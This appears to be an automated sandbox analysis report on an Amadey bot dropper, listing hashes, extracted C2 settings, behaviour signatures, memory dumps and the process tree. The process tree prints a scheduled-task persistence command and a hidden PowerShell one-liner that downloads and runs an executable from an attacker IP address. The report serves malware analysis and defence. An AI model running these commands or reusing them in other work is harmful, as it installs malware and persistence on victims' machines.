Analysis

  • max time kernel
    146s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    30/03/2025, 13:34

General

  • Target

    2025-03-30_0e4ac18b2224b5d46bfb6a68417a0104_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    0e4ac18b2224b5d46bfb6a68417a0104

  • SHA1

    38922c092ce214d8f87586f7ed13d68814a95057

  • SHA256

    31bd1ef59c8715bdd8a5bf2e8231e43f9156d1b71901061b552dbbd37550960a

  • SHA512

    6ffa7135c8a61329be36dbfca51c8f74b75e8ab8596d8407c1ea628f27b8b9a3e862ffdcfb1de40379b91ca33109bc0f2b9b57cffe3735649f9c8b86796e8629

  • SSDEEP

    24576:/qDEvCTbMWu7rQYlBQcBiT6rprG8a0ou:/TvC/MTQYxsWR7a0o

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-30_0e4ac18b2224b5d46bfb6a68417a0104_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-30_0e4ac18b2224b5d46bfb6a68417a0104_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn ouEYAma66r0 /tr "mshta C:\Users\Admin\AppData\Local\Temp\T1V39q2Ew.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2120
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn ouEYAma66r0 /tr "mshta C:\Users\Admin\AppData\Local\Temp\T1V39q2Ew.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2964
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\T1V39q2Ew.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2400
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'QJ0HE4GTEECZMMY4BSDOXZBJOGKQ1QDQ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Users\Admin\AppData\Local\TempQJ0HE4GTEECZMMY4BSDOXZBJOGKQ1QDQ.EXE
          "C:\Users\Admin\AppData\Local\TempQJ0HE4GTEECZMMY4BSDOXZBJOGKQ1QDQ.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:3068

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\T1V39q2Ew.hta

    Filesize

    717B

    MD5

    c1e3fb83bb8b3c7392b1449596523cf8

    SHA1

    3ec1b31738a99e0a781c2452913cd74ad0dacc1e

    SHA256

    c8e3ac8e8f7a4ca7fd4805458c2aa1c0c77cd2fae728c592a924cec44b68f4b5

    SHA512

    3eb19f081428439d7b8dcc64fb6add7573af1de654300df849765a1c39843901cc72f58d73b361ee5841de7c1ac1b2c70b77944927946f7b434263b07b4d8589

  • \Users\Admin\AppData\Local\TempQJ0HE4GTEECZMMY4BSDOXZBJOGKQ1QDQ.EXE

    Filesize

    1.8MB

    MD5

    89431b16b25281a50a173f359ecbcebf

    SHA1

    a5931bc59fd615f199461eb009262d26ff34c814

    SHA256

    78d33d02042213510b32b2c13599a33d000cc66fd295714300a557872cfc125e

    SHA512

    498c9a04ef7a5e60d249207dc25db7e3f38dc4339be10702a02d5c922ec30be0b254c8a55552642c1540aeec6dfa26de49a7abd7f65d7a6978352720d9adb7f2

  • memory/1812-12-0x00000000063F0000-0x00000000068A8000-memory.dmp

    Filesize

    4.7MB

  • memory/1812-14-0x00000000063F0000-0x00000000068A8000-memory.dmp

    Filesize

    4.7MB

  • memory/2604-15-0x0000000001130000-0x00000000015E8000-memory.dmp

    Filesize

    4.7MB

  • memory/2604-30-0x0000000001130000-0x00000000015E8000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-31-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-33-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-34-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-35-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-36-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-37-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-38-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-39-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-40-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-41-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-42-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-43-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-44-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-45-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB

  • memory/3068-46-0x0000000000B50000-0x0000000001008000-memory.dmp

    Filesize

    4.7MB